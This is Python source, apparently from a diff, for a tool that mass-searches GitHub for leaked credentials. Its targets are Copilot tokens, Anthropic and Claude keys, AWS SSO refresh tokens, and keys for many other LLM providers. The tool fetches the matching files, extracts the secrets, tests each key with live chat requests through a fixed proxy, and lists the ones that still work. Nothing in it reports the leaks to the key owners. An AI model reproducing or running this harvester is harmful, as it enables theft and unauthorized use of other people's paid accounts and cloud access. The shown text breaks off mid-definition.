if code == 0:
|
||||
return "UNKNOWN", txt[:80]
|
||||
return "NO_ACCESS", f"HTTP {code}"
|
||||
|
||||
|
||||
# ----------------------------- tool config -------------------------------
|
||||
# kind -> (queries, extractor, verifier, result_subdir)
|
||||
|
||||
TOOLS = {
|
||||
"codeium": {
|
||||
"queries": [
|
||||
'path:.codeium filename:config.json',
|
||||
'.codeium config.json apiKey',
|
||||
'filename:config.json "apiKey" "codeium"',
|
||||
'CODEIUM_API_KEY',
|
||||
'"codeium.checkoutEndpoint" extension:json',
|
||||
'"codeium.telemetry.enabled" "apiKey" extension:json',
|
||||
'"Codeium.apiKey" extension:json',
|
||||
],
|
||||
"extract": extract_codeium,
|
||||
"verify": verify_codeium,
|
||||
},
|
||||
"copilot": {
|
||||
"queries": [
|
||||
'filename:hosts.json github.com oauthToken',
|
||||
'filename:apps.json oauth_token copilot',
|
||||
'"github.copilot" oauthToken extension:json',
|
||||
'copilot-gpt-token apiKey',
|
||||
'"vscode-github" "token" extension:json',
|
||||
],
|
||||
"extract": extract_copilot,
|
||||
"verify": verify_copilot,
|
||||
},
|
||||
"claude": {
|
||||
"queries": [
|
||||
'filename:.credentials.json anthropic',
|
||||
'claudeAiOauthToken extension:json',
|
||||
'".claude" "credentials" extension:json',
|
||||
'sk-ant-api03',
|
||||
'ANTHROPIC_API_KEY sk-ant',
|
||||
'".claude.json" "oauthToken"',
|
||||
],
|
||||
"extract": extract_claude,
|
||||
"verify": verify_claude,
|
||||
},
|
||||
"aws-sso": {
|
||||
"queries": [
|
||||
'filename:sso cache refreshToken clientId extension:json',
|
||||
'"refreshToken" "clientId" "clientSecret" extension:json',
|
||||
'path:.aws/sso/cache extension:json',
|
||||
'"oidc" "refreshToken" "clientSecret" extension:json',
|
||||
'"startUrl" "refreshToken" "clientId" extension:json',
|
||||
],
|
||||
"extract": extract_aws_sso,
|
||||
"verify": verify_aws_sso,
|
||||
},
|
||||
"cline": {
|
||||
"queries": [
|
||||
'"apiProvider" "apiKey" "claude-dev" extension:json',
|
||||
'filename:cline_settings apiKey',
|
||||
'"clineApiKey" extension:json',
|
||||
'path:globalStorage saoudrizwan.claude-dev extension:json',
|
||||
],
|
||||
"extract": extract_cline,
|
||||
"verify": verify_openai_like,
|
||||
},
|
||||
"continue": {
|
||||
"queries": [
|
||||
'filename:config.json ".continue" apiKey',
|
||||
'"tabAutocompleteModel" "apiKey" extension:json',
|
||||
'path:.continue config.json models apiKey',
|
||||
],
|
||||
"extract": extract_continue,
|
||||
"verify": verify_openai_like,
|
||||
},
|
||||
"generic-env": {
|
||||
"queries": [
|
||||
'OPENROUTER_API_KEY sk-or-v1 extension:env',
|
||||
'TOGETHER_API_KEY extension:env',
|
||||
'FIREWORKS_API_KEY extension:env',
|
||||
'GROQ_API_KEY gsk_ extension:env',
|
||||
'ANTHROPIC_API_KEY sk-ant extension:env',
|
||||
'CODESTRAL_API_KEY extension:env',
|
||||
'GEMINI_API_KEY AIza extension:env',
|
||||
'MISTRAL_API_KEY extension:env',
|
||||
'DEEPSEEK_API_KEY sk- extension:env',
|
||||
],
|
||||
"extract": extract_generic_env,
|
||||
"verify": verify_openai_like,
|
||||
},
|
||||
}
|
||||
|
||||
|
||||
def to_raw(html_url):
|
||||
return html_url.replace("github.com", "raw.githubusercontent.com").replace("/blob/", "/")
|
||||
|
||||
|
||||
def fetch_raw(url, timeout=20):
|
||||
try:
|
||||
code, body, _ = http_get(url, direct=False, timeout=timeout,
|
||||
headers={"User-Agent": "Mozilla/5.0"})
|
||||
if code == 200:
|
||||
return body
|
||||
except Exception:
|
||||
pass
|
||||
return ""
|
||||
|
||||
|
||||
def make_cached_fetch(cc, fetcher=fetch_raw):
|
||||
"""fetch_raw replacement served by ContentCache (immutable blob SHA)."""
|
||||
def cached(url, timeout=20):
|
||||
repo, sha, path = parse_raw_url(url)
|
||||
if repo and sha and path:
|
||||
txt = cc.get(repo, path, sha)
|
||||
if txt is not None:
|
||||
return txt
|
||||
txt = fetcher(url, timeout=timeout)
|
||||
if txt:
|
||||
cc.put(repo, path, sha, txt)
|
||||
return txt
|
||||
return fetcher(url, timeout=timeout)
|
||||
return cached
|
||||
|
||||
|
||||
def run(kind, token, workers, max_files, do_verify, no_content_cache=False):
|
||||
cfg = TOOLS[kind]
|
||||
outdir = RESULTS / kind
|
||||
outdir.mkdir(parents=True, exist_ok=True)
|
||||
print(f"\n{'='*60}\n[{kind}] searching GitHub...\n{'='*60}", flush=True)
|
||||
|
||||
files = {}
|
||||
for i, q in enumerate(cfg["queries"], 1):
|
||||
print(f" ({i}/{len(cfg['queries'])}) {q}", flush=True)
|
||||
cnt = 0
|
||||
for it in gh_search(q, token):
|
||||
u = it.get("html_url", "")
|
||||
if u and u not in files:
|
||||
files[u] = it.get("repository", {}).get("full_name", "?")
|
||||
cnt += 1
|
||||
if len(files) >= max_files:
|
||||
break
|
||||
if cnt:
|
||||
print(f" +{cnt} (total {len(files)})", flush=True)
|
||||
if len(files) >= max_files:
|
||||
break
|
||||
print(f" candidate files: {len(files)}", flush=True)
|
||||
|
||||
# fetch raw and extract
|
||||
print(f"\n[{kind}] fetching raw + extracting...", flush=True)
|
||||
creds = {} # cred(or json blob for aws) -> info
|
||||
done = 0
|
||||
|
||||
with ContentCache(force=no_content_cache) as cc:
|
||||
cfetch = make_cached_fetch(cc)
|
||||
def _job(u):
|
||||
return u, cfetch(to_raw(u))
|
||||
|
||||
with ThreadPoolExecutor(max_workers=20) as pool:
|
||||
futs = {pool.submit(_job, u): (u, repo) for u, repo in files.items()}
|
||||
for f in as_completed(futs):
|
||||
u, repo = futs[f]
|
||||
done += 1
|
||||
try:
|
||||
_, text = f.result()
|
||||
except Exception:
|
||||
text = ""
|
||||
if not text:
|
||||
continue
|
||||
try:
|
||||
extracted = list(cfg["extract"](text))
|
||||
except Exception as e:
|
||||
extracted = []
|
||||
for item in extracted:
|
||||
cred, info = item
|
||||
if isinstance(cred, dict):
|
||||
key = cred.get("refreshToken", "") + "|" + info.get("clientId", "")
|
||||
else:
|
||||
key = cred
|
||||
if key not in creds:
|
||||
creds[key] = {"cred": cred, "info": info, "src": u, "repo": repo}
|
||||
if done % 100 == 0:
|
||||
print(f" {done}/{len(files)} creds={len(creds)} "
|
||||
f"cache={cc.hits}hit/{cc.misses}fetch", flush=True)
|
||||
st = cc.stats()
|
||||
print(f" content cache: {st['hits']} hits, {st['misses']} fetched "
|
||||
f"({st['bytes_served']} bytes from cache)", flush=True)
|
||||
print(f" extracted {len(creds)} unique credentials", flush=True)
|
||||
|
||||
# save raw extraction
|
||||
with open(outdir / "all.txt", "w") as f:
|
||||
for key, rec in sorted(creds.items()):
|
||||
info = rec["info"]
|
||||
if isinstance(rec["cred"], dict):
|
||||
f.write(f"BLOB|{rec['src']}|{json.dumps(info)}\n")
|
||||
else:
|
||||
f.write(f"{rec['cred']}|{rec['src']}|{json.dumps(info)}\n")
|
||||
|
||||
if not do_verify or not creds:
|
||||
return
|
||||
|
||||
# verify
|
||||
print(f"\n[{kind}] verifying {len(creds)} credentials (workers={workers})...", flush=True)
|
||||
buckets = {"USABLE": [], "DEAD": [], "NO_ACCESS": [], "NO_BALANCE": [], "UNKNOWN": []}
|
||||
start = time.time()
|
||||
done = 0
|
||||
|
||||
def _verify(rec):
|
||||
cred = rec["cred"]
|
||||
if isinstance(cred, dict):
|
||||
return cfg["verify"](cred, rec["info"])
|
||||
return cfg["verify"](cred)
|
||||
|
||||
def _cred_key(rec):
|
||||
c = rec["cred"]
|
||||
return json.dumps(c, sort_keys=True) if isinstance(c, dict) else c
|
||||
|
||||
key_to_rec = {_cred_key(rec): rec for rec in creds.values()}
|
||||
|
||||
with CachedVerifier(f"aitools_{kind.lower()}",
|
||||
lambda k: _verify(key_to_rec[k]),
|
||||
force=os.environ.get("NO_CACHE") == "1") as ver:
|
||||
with ThreadPoolExecutor(max_workers=workers) as pool:
|
||||
futs = {pool.submit(ver, ck): rec for ck, rec in key_to_rec.items()}
|
||||
for f in as_completed(futs):
|
||||
rec = futs[f]
|
||||
done += 1
|
||||
try:
|
||||
verdict, detail = f.result()
|
||||
except Exception as e:
|
||||
verdict, detail = "UNKNOWN", f"exc:{e}"
|
||||
buckets.setdefault(verdict, []).append((rec, detail))
|
||||
if done % 25 == 0:
|
||||
el = time.time() - start
|
||||
rate = done / el if el else 0
|
||||
counts = " ".join(f"{k.lower()}={len(v)}" for k, v in buckets.items())
|
||||
print(f" [{done:4d}/{len(creds)}] {counts} hit={ver.hits} live={ver.live} ({rate:.1f}/s)", flush=True)
|
||||
print(f" cache: {ver.hits} hits, {ver.live} live, {len(ver._cache)} cached", flush=True)
|
||||
|
||||
for name, items in buckets.items():
|
||||
with open(outdir / f"{name.lower()}.txt", "w") as f:
|
||||
for rec, detail in items:
|
||||
if isinstance(rec["cred"], dict):
|
||||
f.write(f"BLOB|{rec['src']}|{json.dumps(rec['info'])}|{detail}\n")
|
||||
else:
|
||||
f.write(f"{rec['cred']}|{rec['src']}|{json.dumps(rec['info'])}|{detail}\n")
|
||||
print(f" {name:11s}: {len(items):4d}", flush=True)
|
||||
|
||||
if buckets["USABLE"]:
|
||||
print(f"\n === USABLE {kind} ===", flush=True)
|
||||
for rec, detail in buckets["USABLE"]:
|
||||
c = rec["cred"]
|
||||
shown = json.dumps(rec["info"]) if isinstance(c, dict) else c[:60]
|
||||
print(f" {shown} <- {rec['src']}\n {detail}", flush=True)
|
||||
|
||||
|
||||
def main():
|
||||
ap = argparse.ArgumentParser()
|
||||
ap.add_argument("--tools", default="all",
|
||||
help="Comma list, or 'all': " + ",".join(TOOLS.keys()))
|
||||
ap.add_argument("--workers", type=int, default=8)
|
||||
ap.add_argument("--max-files", type=int, default=1000)
|
||||
ap.add_argument("--no-verify", action="store_true")
|
||||
ap.add_argument("--no-content-cache", action="store_true",
|
||||
help="ignore raw file content cache (always re-crawl)")
|
||||
args = ap.parse_args()
|
||||
|
||||
token = github_token()
|
||||
print(f"proxy={GH_PROXY} token={'yes' if token else 'NO (will rate-limit fast)'}", flush=True)
|
||||
kinds = list(TOOLS.keys()) if args.tools == "all" else [
|
||||
t.strip() for t in args.tools.split(",") if t.strip() in TOOLS]
|
||||
print(f"tools: {kinds}", flush=True)
|
||||
|
||||
summary = {}
|
||||
for kind in kinds:
|
||||
run(kind, token, args.workers, args.max_files, not args.no_verify,
|
||||
no_content_cache=args.no_content_cache)
|
||||
outdir = RESULTS / kind
|
||||
counts = {}
|
||||
for b in ("usable", "dead", "no_access", "no_balance", "unknown"):
|
||||
p = outdir / f"{b}.txt"
|
||||
counts[b] = sum(1 for _ in open(p)) if p.exists() else 0
|
||||
summary[kind] = counts
|
||||
|
||||
print("\n" + "=" * 60)
|
||||
print("SUMMARY")
|
||||
print("=" * 60)
|
||||
for kind, c in summary.items():
|
||||
print(f" {kind:14s}: " + " ".join(f"{k}={v}" for k, v in c.items()))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,299 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Hunt & verify the remaining Chinese coding-plan / token-plan providers.
|
||||
|
||||
Providers covered (all OpenAI-compatible unless noted):
|
||||
- SCNet (超算互联网) sk-sp- / sk-tp- api.scnet.cn
|
||||
- Zyloo sk-zy- api.zyloo.io
|
||||
- LongCat (美团龙猫) ak_ (29 chars) api.longcat.chat
|
||||
- OllamaCloud <32hex>.<24alnum> api.ollama.com (native /api/chat)
|
||||
- iFlytek Astron (讯飞星辰) 32-hex maas-coding-api.xf-yun.com
|
||||
|
||||
iFlytek Astron keys in the pool are EXTREMELY noisy (the bare 32-hex pattern
|
||||
matches Azure/AWS keys, test vectors, etc.). We only test a 32-hex value when
|
||||
its source file / description references an xf-yun / astron / maas endpoint,
|
||||
and even then we filter out low-entropy placeholders.
|
||||
|
||||
Only HTTP 401 => DEAD. Real chat completion 200 with choices => USABLE.
|
||||
Uses verify_cache so already-tested keys are not re-queried.
|
||||
"""
|
||||
import argparse, json, os, re, sys, time
|
||||
import urllib.request, urllib.error
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
from pathlib import Path
|
||||
|
||||
sys.path.insert(0, str(Path(__file__).resolve().parent))
|
||||
from verify_cache import CachedVerifier
|
||||
|
||||
OUT = Path("results/cn_coding"); OUT.mkdir(parents=True, exist_ok=True)
|
||||
POOL = Path("results/extracted_keys.txt")
|
||||
UA = "curl/8.5.0"
|
||||
|
||||
# ── provider config ────────────────────────────────────────────
|
||||
# model is the cheapest chat model for the auth/balance probe.
|
||||
PROVIDERS = {
|
||||
"SCNet": {
|
||||
"chat": "https://api.scnet.cn/api/llm/v1/chat/completions",
|
||||
"models": "https://api.scnet.cn/api/llm/v1/models",
|
||||
"model": "deepseek-v3",
|
||||
"auth": "Bearer",
|
||||
},
|
||||
"Zyloo": {
|
||||
"chat": "https://api.zyloo.io/v1/chat/completions",
|
||||
"models": "https://api.zyloo.io/v1/models",
|
||||
"model": "zyloo/claude-opus-4-7",
|
||||
"auth": "Bearer",
|
||||
},
|
||||
"LongCat": {
|
||||
"chat": "https://api.longcat.chat/openai/chat/completions",
|
||||
"models": "https://api.longcat.chat/openai/models",
|
||||
"model": "LongCat-2.0",
|
||||
"auth": "Bearer",
|
||||
},
|
||||
"OllamaCloud": {
|
||||
# native ollama api; model probed at runtime
|
||||
"chat": "https://api.ollama.com/api/chat",
|
||||
"models": "https://api.ollama.com/api/tags",
|
||||
"model": None,
|
||||
"auth": "Bearer",
|
||||
"native": True,
|
||||
},
|
||||
"iFlytekAstron": {
|
||||
"chat": "https://maas-coding-api.cn-huabei-1.xf-yun.com/v2/chat/completions",
|
||||
"models": "https://maas-coding-api.cn-huabei-1.xf-yun.com/v2/models",
|
||||
"model": "astron-code-latest",
|
||||
"auth": "Bearer",
|
||||
# try several documented models
|
||||
"alt_models": ["xopkimik26", "xopglm5", "xsparkx2flash"],
|
||||
},
|
||||
}
|
||||
|
||||
FAKES = ("xxxx", "your-", "example", "placeholder", "changeme",
|
||||
"sk-sp-123", "sk-tp-btf", "super-secret", "shared-test",
|
||||
"00000000000000000000000000000000000000")
|
||||
|
||||
IFLYTEK_CTX = re.compile(r'xf-?yun|astron|maas-coding|maas-token|iflytek|spark-api', re.I)
|
||||
|
||||
|
||||
def http(method, url, key, auth="Bearer", body=None, timeout=20):
|
||||
headers = {"User-Agent": UA, "Accept": "*/*"}
|
||||
if auth == "Bearer":
|
||||
headers["Authorization"] = f"Bearer {key}"
|
||||
elif auth == "x-api-key":
|
||||
headers["x-api-key"] = key
|
||||
data = None
|
||||
if body is not None:
|
||||
data = json.dumps(body).encode()
|
||||
headers["Content-Type"] = "application/json"
|
||||
req = urllib.request.Request(url, data=data, headers=headers, method=method)
|
||||
try:
|
||||
with urllib.request.urlopen(req, timeout=timeout) as r:
|
||||
return r.getcode(), r.read().decode("utf-8", "replace")
|
||||
except urllib.error.HTTPError as e:
|
||||
try: return e.code, e.read().decode("utf-8", "replace")
|
||||
except Exception: return e.code, ""
|
||||
except Exception as e:
|
||||
return 0, f"network: {type(e).__name__}: {e}"
|
||||
|
||||
|
||||
def classify_chat(code, body):
|
||||
bl = (body or "").lower()
|
||||
if code == 200 and ('"choices"' in bl or '"message"' in bl):
|
||||
return "USABLE", f"chat 200 {body[:100]}"
|
||||
if code == 401:
|
||||
return "DEAD", f"401: {body[:140]}"
|
||||
if code in (402, 429):
|
||||
return "NO_BALANCE", f"chat={code}: {body[:140]}"
|
||||
if code == 403:
|
||||
return "NO_ACCESS", f"403: {body[:140]}"
|
||||
if code == 400:
|
||||
if any(w in bl for w in ("balance", "quota", "insufficient", "arrear", "suspend")):
|
||||
return "NO_BALANCE", f"400: {body[:140]}"
|
||||
# 400 with "model" error often means key works but model not granted
|
||||
if "model" in bl:
|
||||
return "NO_ACCESS", f"400 model: {body[:140]}"
|
||||
return "NO_ACCESS", f"400: {body[:140]}"
|
||||
if code == 404:
|
||||
return "NO_ACCESS", f"404: {body[:120]}"
|
||||
if code == 0:
|
||||
return "UNKNOWN", body[:160]
|
||||
if 500 <= code < 600:
|
||||
return "NO_ACCESS", f"5xx {code}: {body[:120]}"
|
||||
return "NO_ACCESS", f"HTTP {code}: {body[:140]}"
|
||||
|
||||
|
||||
def verify_openai(prov, key):
|
||||
cfg = PROVIDERS[prov]
|
||||
models = [cfg["model"]] + list(cfg.get("alt_models", []))
|
||||
last = ("UNKNOWN", "no attempt")
|
||||
for model in models:
|
||||
if not model:
|
||||
continue
|
||||
code, body = http("POST", cfg["chat"], key, cfg["auth"], {
|
||||
"model": model,
|
||||
"messages": [{"role": "user", "content": "hi"}],
|
||||
"max_tokens": 5, "temperature": 0,
|
||||
})
|
||||
v, d = classify_chat(code, body)
|
||||
if v == "USABLE":
|
||||
return "USABLE", f"[{model}] {d}"
|
||||
# 401 / 422 model-not-exist: try next model; 422 with model means model
|
||||
# name wrong but key may be fine — try alternates.
|
||||
if code == 401:
|
||||
return "DEAD", d
|
||||
last = (v, f"[{model}] {d}")
|
||||
if code == 422 and "model" in body.lower():
|
||||
continue
|
||||
if v in ("NO_BALANCE", "NO_ACCESS"):
|
||||
# already a meaningful verdict, but try an alternate cheap model once
|
||||
continue
|
||||
return last
|
||||
|
||||
|
||||
def verify_ollama(key):
|
||||
# native ollama /api/chat
|
||||
code, body = http("POST", "https://api.ollama.com/api/chat", key, "Bearer", {
|
||||
"model": "llama3.2", "messages": [{"role": "user", "content": "hi"}],
|
||||
"stream": False,
|
||||
}, timeout=25)
|
||||
if code == 404:
|
||||
# try /api/generate
|
||||
code, body = http("POST", "https://api.ollama.com/api/generate", key, "Bearer", {
|
||||
"model": "llama3.2", "prompt": "hi", "stream": False,
|
||||
}, timeout=25)
|
||||
if code == 200:
|
||||
return "USABLE", f"ollama 200 {body[:100]}"
|
||||
if code == 401:
|
||||
return "DEAD", f"401: {body[:140]}"
|
||||
if code in (402, 429):
|
||||
return "NO_BALANCE", f"{code}: {body[:140]}"
|
||||
if code == 0:
|
||||
return "UNKNOWN", body[:160]
|
||||
return "NO_ACCESS", f"HTTP {code}: {body[:140]}"
|
||||
|
||||
|
||||
def verify(prov_key):
|
||||
prov, key = prov_key
|
||||
if prov == "OllamaCloud":
|
||||
return verify_ollama(key)
|
||||
return verify_openai(prov, key)
|
||||
|
||||
|
||||
def verify_cache_key(ck):
|
||||
"""CachedVerifier needs a string key; wrap verify() to accept 'prov|key'."""
|
||||
prov, key = ck.split("|", 1)
|
||||
return verify((prov, key))
|
||||
|
||||
|
||||
# ── candidate loading ─────────────────────────────────────────
|
||||
def entropy_ok_hex(k):
|
||||
"""Reject obvious placeholder 32/64-hex: all-same, sequential, mostly zeros."""
|
||||
if len(k) not in (32, 40, 64):
|
||||
return False
|
||||
if len(set(k)) <= 4:
|
||||
return False
|
||||
if k.count("0") > len(k) * 0.7:
|
||||
return False
|
||||
if re.match(r'^0123456789abcdef+$', k):
|
||||
return False
|
||||
# ascending/descending runs
|
||||
if re.search(r'0123456789|9876543210|abcdef|fedcba', k):
|
||||
return False
|
||||
return True
|
||||
|
||||
|
||||
def load_candidates(providers):
|
||||
cands = {p: {} for p in providers}
|
||||
with open(POOL, errors="replace") as f:
|
||||
for ln in f:
|
||||
p = ln.rstrip("\n").split("|", 3)
|
||||
if len(p) < 3:
|
||||
continue
|
||||
tag, key, src = p[0], p[1], p[2]
|
||||
desc = p[3] if len(p) > 3 else ""
|
||||
if tag not in cands:
|
||||
continue
|
||||
if any(b in key.lower() for b in FAKES):
|
||||
continue
|
||||
if tag == "iFlytekCodingPlan":
|
||||
# only test hex in genuine xf-yun context
|
||||
if not (IFLYTEK_CTX.search(src) or IFLYTEK_CTX.search(desc)):
|
||||
continue
|
||||
if not re.fullmatch(r'[0-9a-f]{32}', key):
|
||||
continue
|
||||
if not entropy_ok_hex(key):
|
||||
continue
|
||||
if tag == "OllamaCloud":
|
||||
if not re.fullmatch(r'[0-9a-f]{32}\.[A-Za-z0-9]{20,30}', key):
|
||||
continue
|
||||
if tag == "SCNet":
|
||||
# sk-sp- keys in pool are actually Alibaba; only sk-tp- and plain
|
||||
if not (key.startswith("sk-tp-") or
|
||||
(key.startswith("sk-") and not key.startswith("sk-sp-"))):
|
||||
continue
|
||||
if key not in cands[tag]:
|
||||
cands[tag][key] = src
|
||||
return cands
|
||||
|
||||
|
||||
def main():
|
||||
ap = argparse.ArgumentParser()
|
||||
ap.add_argument("--providers", default="all",
|
||||
help="comma list or all: " + ",".join(PROVIDERS))
|
||||
ap.add_argument("--workers", type=int, default=12)
|
||||
ap.add_argument("--limit", type=int, default=0)
|
||||
ap.add_argument("--no-cache", action="store_true")
|
||||
args = ap.parse_args()
|
||||
|
||||
provs = list(PROVIDERS) if args.providers == "all" else [
|
||||
p.strip() for p in args.providers.split(",") if p.strip() in PROVIDERS]
|
||||
|
||||
cands = load_candidates(provs)
|
||||
grand = {}
|
||||
for p in provs:
|
||||
items = list(cands[p].items())
|
||||
if args.limit:
|
||||
items = items[:args.limit]
|
||||
for k, s in items:
|
||||
grand[(p, k)] = s
|
||||
print(f"{p:16s}: {len(items)} candidates")
|
||||
|
||||
print(f"\nverifying {len(grand)} keys across {len(provs)} providers...\n")
|
||||
buckets = {"USABLE": [], "NO_BALANCE": [], "NO_ACCESS": [],
|
||||
"UNKNOWN": [], "DEAD": []}
|
||||
|
||||
with CachedVerifier("cn_coding", verify_cache_key, force=args.no_cache) as ver:
|
||||
with ThreadPoolExecutor(max_workers=args.workers) as pool:
|
||||
futs = {pool.submit(ver, f"{pk[0]}|{pk[1]}"): (pk, s) for pk, s in grand.items()}
|
||||
done = 0
|
||||
for fut in as_completed(futs):
|
||||
(prov, key), src = futs[fut]
|
||||
done += 1
|
||||
try:
|
||||
v, d = fut.result()
|
||||
except Exception as e:
|
||||
v, d = "UNKNOWN", f"exc:{e}"
|
||||
buckets[v].append((prov, key, src, d))
|
||||
if done % 25 == 0:
|
||||
print(f" {done}/{len(grand)} usable={len(buckets['USABLE'])} "
|
||||
f"nobal={len(buckets['NO_BALANCE'])} "
|
||||
f"noacc={len(buckets['NO_ACCESS'])} dead={len(buckets['DEAD'])} "
|
||||
f"hit={ver.hits} live={ver.live}", flush=True)
|
||||
print(f"cache: {ver.hits} hits / {ver.live} live\n")
|
||||
|
||||
name_map = {"USABLE": "usable", "NO_BALANCE": "no_balance",
|
||||
"NO_ACCESS": "no_access", "UNKNOWN": "unknown", "DEAD": "dead"}
|
||||
for label, fn in name_map.items():
|
||||
with (OUT / f"{fn}.txt").open("w") as f:
|
||||
for prov, key, src, d in buckets[label]:
|
||||
f.write(f"{prov}|{key}|{src}|{d}\n")
|
||||
|
||||
for label in ("USABLE", "NO_BALANCE", "NO_ACCESS", "UNKNOWN", "DEAD"):
|
||||
print(f" {label:11s}: {len(buckets[label])}")
|
||||
if buckets["USABLE"]:
|
||||
print("\n=== USABLE ===")
|
||||
for prov, key, src, d in buckets["USABLE"]:
|
||||
print(f" [{prov}] {key}\n {src}\n {d[:120]}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,240 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Fresh GitHub hunt for Chinese coding-plan providers with no keys in pool.
|
||||
|
||||
These platforms have undocumented/UI-created key formats, so instead of
|
||||
matching a prefix we search for their endpoint hostnames + env var names and
|
||||
pull whatever credential-like strings sit nearby, then verify against the
|
||||
provider's OpenAI-compatible endpoint.
|
||||
|
||||
Targets + endpoints (from patterns.conf / mcppla.net):
|
||||
CSDN StarMap ai.csdn.net/api/model/v1
|
||||
Huawei CodeArts (unknown endpoint; try codearts)
|
||||
Xiaomi MiMo api.xiaomimimo.com/v1
|
||||
Infini-AI cloud.infini-ai.com
|
||||
JD Cloud api.jdcloud-ai.com / coding
|
||||
MooreThreads code.mthreads.com
|
||||
Kuaishou KwaiKAT streamlake
|
||||
UCloud/Compshare compshare.cn
|
||||
Anomaly/OpenCode opencode.ai
|
||||
"""
|
||||
import json, os, re, sys, time, subprocess, urllib.request, urllib.error, urllib.parse
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
from pathlib import Path
|
||||
|
||||
sys.path.insert(0, str(Path(__file__).resolve().parent))
|
||||
from content_cache import ContentCache, parse_raw_url
|
||||
|
||||
OUT = Path("results/cn_extra"); OUT.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
def github_token():
|
||||
t = os.environ.get("GITHUB_TOKEN") or os.environ.get("GH_TOKEN")
|
||||
if t: return t
|
||||
try:
|
||||
o = subprocess.run(["gh","auth","token"],capture_output=True,text=True,timeout=10)
|
||||
if o.returncode == 0: return o.stdout.strip()
|
||||
except FileNotFoundError:
|
||||
pass
|
||||
h = Path.home()/".config"/"gh"/"hosts.yml"
|
||||
if h.exists():
|
||||
for ln in h.read_text().splitlines():
|
||||
ln = ln.strip()
|
||||
if ln.startswith("oauth_token:"): return ln.split(":",1)[1].strip()
|
||||
return None
|
||||
|
||||
GH = github_token() or ""
|
||||
GH_PROXY = os.environ.get("GH_PROXY", "http://114.111.19.228:3389")
|
||||
OPENER = None
|
||||
def gh_opener():
|
||||
global OPENER
|
||||
if OPENER is None:
|
||||
proxy = urllib.request.ProxyHandler({"http": GH_PROXY, "https": GH_PROXY})
|
||||
OPENER = urllib.request.build_opener(proxy)
|
||||
return OPENER
|
||||
|
||||
def gh_api(url):
|
||||
req = urllib.request.Request(url, headers={
|
||||
"Authorization": f"token {GH}", "Accept": "application/vnd.github+json",
|
||||
"User-Agent": "llm-key-hunter"})
|
||||
try:
|
||||
with gh_opener().open(req, timeout=25) as r:
|
||||
return json.loads(r.read())
|
||||
except urllib.error.HTTPError as e:
|
||||
if e.code in (403, 429):
|
||||
reset = e.headers.get("X-RateLimit-Reset")
|
||||
if reset:
|
||||
w = max(int(reset)-int(time.time())+2, 2)
|
||||
if w < 120: time.sleep(w); return gh_api(url)
|
||||
return None
|
||||
return None
|
||||
except Exception:
|
||||
return None
|
||||
|
||||
def gh_search(q, pp=100, pages=5):
|
||||
for page in range(1, pages+1):
|
||||
d = gh_api(f"https://api.github.com/search/code?q={urllib.parse.quote(q)}&per_page={pp}&page={page}")
|
||||
if not d: return
|
||||
items = d.get("items", [])
|
||||
if not items: return
|
||||
for it in items: yield it
|
||||
if len(items) < pp: return
|
||||
time.sleep(2.5)
|
||||
|
||||
def to_raw(u): return u.replace("github.com","raw.githubusercontent.com").replace("/blob/","/")
|
||||
def fetch_raw(url):
|
||||
req=urllib.request.Request(url,headers={"User-Agent":"Mozilla/5.0"})
|
||||
try:
|
||||
with gh_opener().open(req,timeout=20) as r: return r.read().decode("utf-8","replace")
|
||||
except Exception: return ""
|
||||
|
||||
# Targets: (name, [search queries], verify endpoint, model guesses)
|
||||
TARGETS = {
|
||||
"CSDN": {
|
||||
"queries": ['"ai.csdn.net"', '"csdn" "glm_for_coding"', '"CSDN_API_KEY"',
|
||||
'"STARMAP_API_KEY"', '"coding.dashes.com" csdn'],
|
||||
"chat": "https://ai.csdn.net/api/model/v1/chat/completions",
|
||||
"models": ["glm_for_coding", "glm-4.7", "deepseek-v3"],
|
||||
# keys near these configs: pull Bearer tokens / sk- values
|
||||
},
|
||||
"MiMo": {
|
||||
"queries": ['"api.xiaomimimo.com"', '"MIMO_API_KEY"', '"MiMo-V2.5" api_key',
|
||||
'"xiaomimimo" sk-'],
|
||||
"chat": "https://api.xiaomimimo.com/v1/chat/completions",
|
||||
"models": ["MiMo-V2.5-Pro", "MiMo-V2.5", "mimo-v2.5"],
|
||||
},
|
||||
"InfiniAI": {
|
||||
"queries": ['"cloud.infini-ai.com"', '"INFINI_API_KEY"', '"INFINIAI_API_KEY"',
|
||||
'"infini-ai.com" sk-'],
|
||||
"chat": "https://cloud.infini-ai.com/maas/v1/chat/completions",
|
||||
"models": ["deepseek-v3.2", "deepseek-v3", "qwen3", "glm-4.7"],
|
||||
},
|
||||
"JDCloud": {
|
||||
"queries": ['"JD_API_KEY"', '"JDCLOUD_API_KEY"', '"jdcloud" "codingplan"',
|
||||
'"coding.jdcloud"'],
|
||||
"chat": "https://api.jdcloud-ai.com/v1/chat/completions",
|
||||
"models": ["deepseek-v3", "glm-4.7"],
|
||||
},
|
||||
"MThreads": {
|
||||
"queries": ['"code.mthreads.com"', '"MTHREADS_API_KEY"', '"mthreads" api_key'],
|
||||
"chat": "https://code.mthreads.com/api/v1/chat/completions",
|
||||
"models": ["glm-4.7", "deepseek-v3"],
|
||||
},
|
||||
"Kuaishou": {
|
||||
"queries": ['"KWAIKAT_API_KEY"', '"STREAMLAKE_API_KEY"', '"streamlake" coding',
|
||||
'"KAT-Coder" api_key'],
|
||||
"chat": "https://api.streamlake.com/v1/chat/completions",
|
||||
"models": ["KAT-Coder-Pro-V1", "deepseek-v3"],
|
||||
},
|
||||
"UCloud": {
|
||||
"queries": ['"COMPSHARE_API_KEY"', '"UCLOUD_API_KEY"', '"compshare.cn"',
|
||||
'"cucloud" coding plan'],
|
||||
"chat": "https://api.compshare.cn/v1/chat/completions",
|
||||
"models": ["glm-5.2", "kimi-k2.6", "deepseek-v3"],
|
||||
},
|
||||
"Anomaly": {
|
||||
"queries": ['"ANOMALY_API_KEY"', '"OPENCODE_GO_KEY"', '"opencode.ai/go"',
|
||||
'"anomaly" api_key sk-'],
|
||||
"chat": "https://api.opencode.ai/v1/chat/completions",
|
||||
"models": ["grok-4.5", "glm-5.2"],
|
||||
},
|
||||
}
|
||||
|
||||
# credential extraction: env var assignments + Bearer tokens + sk- values
|
||||
CRED_RE = re.compile(
|
||||
